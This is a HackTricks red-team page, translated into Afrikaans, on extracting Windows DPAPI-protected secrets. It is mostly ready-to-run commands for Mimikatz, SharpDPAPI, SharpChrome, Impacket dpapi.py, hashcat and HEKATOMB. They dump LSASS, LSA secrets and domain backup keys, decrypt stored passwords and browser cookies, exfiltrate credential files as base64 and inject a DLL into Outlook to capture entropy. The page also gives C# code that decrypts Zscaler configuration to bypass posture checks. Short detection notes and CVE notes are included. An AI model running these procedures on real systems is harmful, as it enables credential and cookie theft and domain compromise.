DPAPI - Uittrekking van Wagwoorde
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is DPAPI
Die Data Protection API (DPAPI) word hoofsaaklik in die Windows-bedryfstelsel gebruik vir die simmetriese enkripsie van asimmetriese private sleutels, deur gebruikers- of stelselgeheime as ân belangrike bron van entropie te benut. Hierdie benadering vereenvoudig enkripsie vir ontwikkelaars deur hulle in staat te stel om data te enkripteer met ân sleutel wat afgelei is van die gebruiker se aanmeldgeheime, of, vir stelsel-enkripsie, van die stelsel se domeinverifikasiegeheime, en skakel dus uit dat ontwikkelaars die enkripsiesleutel self moet beveilig.
Die mees algemene manier om DPAPI te gebruik is deur die CryptProtectData en CryptUnprotectData funksies, wat toepassings toelaat om data veilig te enkripteer en te dekripteer binne die sessie van die proses wat tans aangemeld is. Dit beteken dat die geënkripteerde data slegs deur dieselfde gebruiker of stelsel gedekripteer kan word wat dit geënkripteer het.
Boonop aanvaar hierdie funksies ook ân entropy parameter wat tydens enkripsie en dekripsie gebruik sal word; daarom, om iets te dekripteer wat met hierdie parameter geĂ«nkripteer is, moet jy dieselfde entropiewaarde verskaf wat tydens enkripsie gebruik is.
Generering van gebruikersleutel
Die DPAPI genereer ân unieke sleutel (genoem pre-key) vir elke gebruiker gebaseer op hul geloofsbriewe. Hierdie sleutel word afgelei van die gebruiker se wagwoord en ander faktore en die algoritme hang af van die tipe gebruiker, maar eindig as ân SHA1. Byvoorbeeld, vir domeingebruikers hang dit af van die NTLM-hash van die gebruiker.
Dit is veral interessant omdat as ân aanvaller die gebruiker se wagwoord-hash kan verkry, hulle kan:
- Dekriptiseer enige data wat met DPAPI geënkripteer is met daardie gebruiker se sleutel sonder om enige API te kontak
- Probeer die wagwoord te kraak aflyn deur te probeer om die geldige DPAPI-sleutel te genereer
Boonop, elke keer wanneer ân gebruiker data met DPAPI enkripteer, word ân nuwe master key gegenereer. Hierdie master key is die een wat werklik gebruik word om data te enkripteer. Elke master key word met ân GUID (Globally Unique Identifier) geassosieer wat dit identifiseer.
Die master sleutels word gestoor in die %APPDATA%\Microsoft\Protect\<sid>\<guid> gids, waar {SID} die Security Identifier van daardie gebruiker is. Die master sleutel word gestoor geĂ«nkripteer deur die gebruiker se pre-key en ook deur ân domain backup key vir herstel (dus word dieselfde sleutel twee keer geĂ«nkripteer gestoor deur twee verskillende maniere).
Let daarop dat die domain key used to encrypt the master key is in the domain controllers and never changes, dus as ân aanvaller toegang tot die domain controller het, kan hulle die domain backup key ophaal en die master sleutels van alle gebruikers in die domein dekripteer.
Die geënkripteerde blobs bevat die GUID van die master key wat gebruik is om die data te enkripteer in sy headers.
Tip
DPAPI-geënkripteerde blobs begin met
01 00 00 00
Vind master sleutels:
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
This is what a bunch of Master Keys of a user will looks like:
.png)
Masjien/Stelsel sleutelgenerering
Dit is die sleutel wat deur die masjien gebruik word om data te enkripteer. Dit is gebaseer op die DPAPI_SYSTEM LSA secret, ân spesiale sleutel wat slegs die SYSTEM gebruiker kan toegang kry. Hierdie sleutel word gebruik om data te enkripteer wat deur die stelsel self toeganklik moet wees, soos masjien-vlak credentials of stelsel-wye geheime.
Let wel dat hierdie sleutels nie ân domain backup het nie, dus is hulle slegs plaaslik toeganklik:
- Mimikatz kan dit benader deur LSA secrets te dump met die opdrag:
mimikatz lsadump::secrets - Die secret word in die registry gestoor, so ân administrator kan die DACL permissions wysig om toegang te kry. Die registry-pad is:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM - Offline extraction from registry hives is ook moontlik. Byvoorbeeld, as administrator op die teiken, stoor die hives en exfiltrateer hulle:
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv
Dan op jou ontledingsmasjien, haal die DPAPI_SYSTEM LSA secret uit die hives en gebruik dit om machine-scope blobs te ontsleutel (scheduled task passwords, service credentials, WiâFi profiles, ens.):
mimikatz lsadump::secrets /system:C:\path\system.hiv /security:C:\path\security.hiv
# Look for the DPAPI_SYSTEM secret in the output
Gegewens wat deur DPAPI beskerm word
Onder die persoonlike data wat deur DPAPI beskerm word, is:
- Windows creds
- Internet Explorer en Google Chrome se wagwoorde en outo-voltooiingdata
- E-pos en interne FTP-rekeningwagwoorde vir toepassings soos Outlook en Windows Mail
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend enkripsiesleutels
- Wagwoorde vir remote desktop-verbindinge, .NET Passport, en private sleutels vir verskeie enkripsie- en verifiëringsdoeleindes
- Netwerkwagwoorde wat deur Credential Manager bestuur word en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN messenger, en meer
- Gesiferde blobs binne die register
- âŠ
Stelsel-beskermde data sluit in:
- Wifi-wagwoorde
- Geskeduleerde taakwagwoorde
- âŠ
Opsies vir die uittrekking van master-sleutels
- If the user has domain admin privileges, they can access the domain backup key to decrypt all user master keys in the domain:
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
- Met plaaslike admin-regte is dit moontlik om toegang tot die LSASS-geheue te kry om die DPAPI-master-sleutels van al die aangeslote gebruikers en die SYSTEM-sleutel uit te trek.
# Mimikatz
mimikatz sekurlsa::dpapi
- Indien die gebruiker lokale admin-bevoegdhede het, kan hulle toegang kry tot die DPAPI_SYSTEM LSA secret om die machine master keys te ontsleutel:
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
- As die wagwoord of die NTLM-hash van die gebruiker bekend is, kan jy ontsleutel die gebruiker se master-sleutels direk:
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
- As jy in ân sessie as die gebruiker is, is dit moontlik om die DC te vra vir die backup key to decrypt the master keys using RPC. As jy local admin is en die gebruiker aangemeld is, kan jy hiervoor steal his session token:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
Lys Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Toegang tot DPAPI Encrypted Data
Vind DPAPI Encrypted data
Algemene gebruikers se beskermde lĂȘers is te vind in:
C:\Users\username\AppData\Roaming\Microsoft\Protect\*C:\Users\username\AppData\Roaming\Microsoft\Credentials\*C:\Users\username\AppData\Roaming\Microsoft\Vault\*- Kyk ook om
\Roaming\na\Local\te verander in bogenoemde paaie.
Voorbeelde van enumerering:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
SharpDPAPI kan DPAPI-versleutelde blobs in die lĂȘerstelsel, register en B64-blobs vind:
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
# Search blobs in folders
search /type:folder /path:C:\path\to\folder
search /type:folder /path:C:\Users\username\AppData\
# Search a blob inside a file
search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
Neem kennis dat SharpChrome (van dieselfde repo) gebruik kan word om sensitiewe data soos cookies met DPAPI te ontsleutel.
Chromium/Edge/Electron vinnige resepte (SharpChrome)
- Huidige gebruiker, interaktiewe ontsleuteling van saved logins/cookies (werk selfs met Chrome 127+ app-bound cookies omdat die ekstra sleutel opgelos word uit die gebruiker se Credential Manager wanneer dit in gebruikerskonteks uitgevoer word):
SharpChrome logins /browser:edge /unprotect
SharpChrome cookies /browser:chrome /format:csv /unprotect
- Offline-analise wanneer jy slegs lĂȘers het. Eers onttrek die AES state key uit die profiel se âLocal Stateâ en gebruik dit dan om die cookie DB te ontsleutel:
# Dump the AES state key from Local State (DPAPI will be used if running as the user)
SharpChrome statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Copy the hex state key value (e.g., "48F5...AB") and pass it to cookies
SharpChrome cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Cookies" /statekey:48F5...AB /format:json
- Domain-wide/remote triage wanneer jy die DPAPI domain backup key (PVK) en admin op die target host het:
SharpChrome cookies /server:HOST01 /browser:edge /pvk:BASE64
SharpChrome logins /server:HOST01 /browser:chrome /pvk:key.pvk
- As jy ân gebruiker se DPAPI prekey/credkey (van LSASS) het, kan jy password cracking oorslaan en profieldata direk ontsleutel:
# For SharpChrome use /prekey; for SharpDPAPI use /credkey
SharpChrome cookies /browser:edge /prekey:SHA1_HEX
SharpDPAPI.exe credentials /credkey:SHA1_HEX
Aantekeninge
- Nuwer Chrome/Edge-weergawes mag sekere cookies stoor met âApp-Boundâ enkripsie. Offline-dekripsie van daardie spesifieke cookies is nie moontlik sonder die bykomende app-bound sleutel nie; voer SharpChrome uit onder die teikenâgebruiker se konteks om dit outomaties te bekom. Sien die Chrome security blog post hieronder.
Toegangssleutels en data
- Gebruik SharpDPAPI om credentials uit DPAPI-geĂ«nkripteerde lĂȘers van die huidige sessie te kry:
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
- Kry credentials-inligting soos die versleutelde data en die guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
- Toegang tot masterkeys:
Dekodeer ân masterkey van ân gebruiker wat die domain backup key versoek, met behulp van RPC:
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
Die SharpDPAPI-instrument ondersteun ook hierdie argumente vir masterkey-ontsleuteling (let op dat dit moontlik is om /rpc te gebruik om die domein se backup key te kry, /password om ân plaintext password te gebruik, of /pvk om ân DPAPI domain private key file te spesifiseerâŠ):
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
- Dekodeer data met behulp van ân masterkey:
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
Die SharpDPAPI-hulpmiddel ondersteun ook hierdie argumente vir credentials|vaults|rdg|keepass|triage|blob|ps dekripsie (let wel dat dit moontlik is om /rpc te gebruik om die domein se rugsteun-sleutel te kry, /password om ân platteks-wagwoord te gebruik, /pvk om ân DPAPI domain private key-lĂȘer te spesifiseer, /unprotect om die huidige gebruiker se sessie te gebruikâŠ):
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely)
/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely)
/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely)
/rpc - decrypt the target user's masterkeys by asking domain controller to do so
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
- Gebruik ân DPAPI prekey/credkey direk (geen wagwoord nodig nie)
As jy LSASS kan dump, openbaar Mimikatz dikwels ân per-logon DPAPI key wat gebruik kan word om die gebruiker se masterkeys te ontsleutel sonder om die plaintext password te ken. Gee hierdie waarde direk aan die tooling:
# SharpDPAPI accepts the "credkey" (domain or local SHA1)
SharpDPAPI.exe triage /credkey:SHA1_HEX
# SharpChrome accepts the same value as a "prekey"
SharpChrome logins /browser:edge /prekey:SHA1_HEX
- Ontsleutel sekere data met die huidige gebruikersessie:
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
Offline decryption with Impacket dpapi.py
As jy die slagoffer se SID en wagwoord (of NT-hash) het, kan jy DPAPI masterkeys en Credential Manager blobs volledig offline ontsleutel met Impacketâs dpapi.py.
-
Identifiseer artefakte op skyf:
-
Credential Manager blob(s): %APPDATA%\Microsoft\Credentials<hex>
-
Ooreenstemmende masterkey: %APPDATA%\Microsoft\Protect<SID>{GUID}
-
As file transfer tooling onbetroubaar is, base64 die lĂȘers on-host en kopieer die uitvoer:
# Base64-encode files for copy/paste exfil
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Credentials\C8D69E...B9"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("$env:APPDATA\Microsoft\Protect\<SID>\556a2412-1275-4ccf-b721-e6a0b4f90407"))
- Decrypt die masterkey met die gebruiker se SID en password/hash:
# Plaintext password
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -password 'UserPassword!'
# Or with NT hash
python3 dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
-sid S-1-5-21-1111-2222-3333-1107 -key 0x<NTLM_HEX>
- Gebruik die ontsleutelde masterkey om die credential blob te ontsleutel:
python3 dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0x<MASTERKEY_HEX>
# Expect output like: Type=CRED_TYPE_DOMAIN_PASSWORD; Target=Domain:target=DOMAIN
# Username=<user> ; Password=<cleartext>
Hierdie werkvloei herwin dikwels domeinbewyse wat deur toepassings wat die Windows Credential Manager gebruik gestoor is, insluitend administratiewe rekeninge (bv. *_adm).
Hantering van Opsionele Entropie (âDerdeparty-entropieâ)
Sommige toepassings gee ân bykomende entropy-waarde aan CryptProtectData. Sonder hierdie waarde kan die blob nie ontsleutel word nie, selfs al is die korrekte masterkey bekend. Dit maak die verkryging van die entropy dus noodsaaklik wanneer daar op geloofsbriewe geteiken word wat op hierdie wyse beskerm word (bv. Microsoft Outlook, sommige VPN-kliente).
EntropyCapture (2022) is ân user-mode DLL wat die DPAPI-funksies binne die teikenproses hooks en deursigtig enige opsionele entropy wat verskaf word opneem. Om EntropyCapture in DLL-injection-modus teen prosesse soos outlook.exe of vpnclient.exe te laat loop sal ân lĂȘer uitset wat elke entropy-bufer in kaart bring met die oproepproses en blob. Die vasgevangde entropy kan later aan SharpDPAPI (/entropy:) of Mimikatz (/entropy:<file>) voorsien word om die data te ontsleutel.
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft het vanaf Windows 10 v1607 (2016) ân context 3 masterkey-formaat bekendgestel. hashcat v6.2.6 (Desember 2023) het hash-modes 22100 (DPAPI masterkey v1 context ), 22101 (context 1) en 22102 (context 3) bygevoeg, wat GPU-accelerated cracking van gebruikerswagwoorde direk vanaf die masterkey-lĂȘer toelaat. Aanvallers kan dus word-list of brute-force attacks uitvoer sonder om met die teikenstelsel te kommunikeer.
DPAPISnoop (2024) outomatiseer die proses:
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
Die tool kan ook Credential- en Vault-blobs ontleed, dit met cracked keys ontsleutel en cleartext passwords uitvoer.
Toegang tot data van ander masjiene
In SharpDPAPI and SharpChrome kan jy die /server:HOST-opsie gebruik om toegang tot ân afgeleĂ« masjien se data te kry. Natuurlik moet jy toegang tot daardie masjien hĂȘ, en in die volgende voorbeeld word aangeneem dat die domain backup encryption key bekend is:
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
Ander gereedskap
HEKATOMB
HEKATOMB is ân hulpmiddel wat die uittrekking van alle gebruikers en rekenaars uit die LDAP-gids en die uittrekking van die domain controller backup key via RPC outomatiseer. Die skrip sal dan die IP-adresse van alle rekenaars oplos en ân smbclient op alle rekenaars uitvoer om alle DPAPI blobs van alle gebruikers te haal en alles met die domain backup key te dekripteer.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
Met die uit LDAP onttrekte rekenaarslys kan jy elke subnet vind, selfs al het jy dit nie geken nie!
DonPAPI 2.x (2024-05)
DonPAPI kan outomaties geheime wat deur DPAPI beskerm word dump. Die 2.x-vrystelling het ingesluit:
- Parallelle versameling van blobs van honderde hosts
- Ontleding van context 3 masterkeys en outomatiese Hashcat-cracking-integrasie
- Ondersteuning vir Chrome âApp-Boundâ geĂŻnkripteerde cookies (sien volgende afdeling)
- ân nuwe
--snapshotmodus om eindpunte herhaaldelik te poll en nuut-geskepte blobs te diff
DPAPISnoop
DPAPISnoop is ân C#-parser vir masterkey/credential/vault-lĂȘers wat Hashcat/JtR-formate kan uitset en opsioneel kraking outomaties kan aanroep. Dit ondersteun ten volle machine- en user masterkey-formate tot Windows 11 24H1.
Algemene opsporingsmetodes
- Toegang tot lĂȘers in
C:\Users\*\AppData\Roaming\Microsoft\Protect\*,C:\Users\*\AppData\Roaming\Microsoft\Credentials\*en ander DPAPI-verwante gidse. - Veral vanaf ân netwerkshare soos C$ of ADMIN$.
- Gebruik van Mimikatz, SharpDPAPI of soortgelyke gereedskap om LSASS-geheue te betree of masterkeys te dump.
- Event 4662: An operation was performed on an object â kan gekorreleer word met toegang tot die
BCKUPKEYvoorwerp. - Event 4673/4674 wanneer ân proses SeTrustedCredManAccessPrivilege versoek (Credential Manager)
2023-2025 kwesbaarhede & ekosisteemveranderinge
- CVE-2023-36004 â Windows DPAPI Secure Channel Spoofing (November 2023). ân Aanvaller met netwerktoegang kon ân domain member mislei om ân kwaadwillige DPAPI backup key te kry, wat dekripsie van user masterkeys moontlik maak. Gepatch in November 2023 kumulatiewe opdatering â administrateurs moet verseker dat DCs en werkstasies volledig gepatch is.
- Chrome 127 âApp-Boundâ cookie encryption (July 2024) het die legacy DPAPI-only beskerming vervang met ân ekstra sleutel gestoor onder die gebruiker se Credential Manager. Offline dekripsie van cookies vereis nou beide die DPAPI masterkey en die GCM-wrapped app-bound key. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer dit met gebruiker-kontext uitgevoer word.
Gevalstudie: Zscaler Client Connector â Aangepaste entropie afgeleide van SID
Zscaler Client Connector stoor verskeie konfigurasielĂȘers onder C:\ProgramData\Zscaler (e.g. config.dat, users.dat, *.ztc, *.mtt, *.mtc, *.mtp). Elke lĂȘer is geĂ«nkripteer met DPAPI (Machine scope) maar die verskaffer verskaf aangepaste entropie wat tydens uitvoering bereken word in plaas van op skyf gestoor.
Die entropie word herbou uit twee elemente:
- ân hard-coded secret ingebed in
ZSACredentialProvider.dll. - Die SID van die Windows-rekening waaraan die konfigurasie behoort.
Die algoritme wat deur die DLL geĂŻmplementeer is, is ekwivalent aan:
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
// XOR the two buffers byte-by-byte
byte[] tmp = new byte[secret.Length];
for (int i = 0; i < secret.Length; i++)
tmp[i] = (byte)(sid[i] ^ secret[i]);
// Split in half and XOR both halves together to create the final entropy buffer
byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
Omdat die geheim in ân DLL ingebed is wat vanaf die skyf gelees kan word, enige plaaslike aanvaller met SYSTEM-regte kan die entropie vir enige SID hergenereer en die blobs offline ontsleutel:
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
Ontsleuteling lewer die volledige JSON-konfigurasie, insluitend elke toestel-houdingskontrole en die verwagte waarde daarvan â inligting wat baie waardevol is wanneer ân omseiling aan die kliĂ«ntkant probeer word.
WENK: die ander geënkripteerde artefakte (
*.mtt,*.mtp,*.mtc,*.ztc) word beskerm deur DPAPI sonder entropie (16zero bytes). Hulle kan dus direk ontsleutel word metProtectedData.Unprotectsodra SYSTEM-voorregte verkry is.
Verwysings
-
Synacktiv â Should you trust your zero trust? Bypassing Zscaler posture checks
-
https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
-
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
-
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
-
https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
-
HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

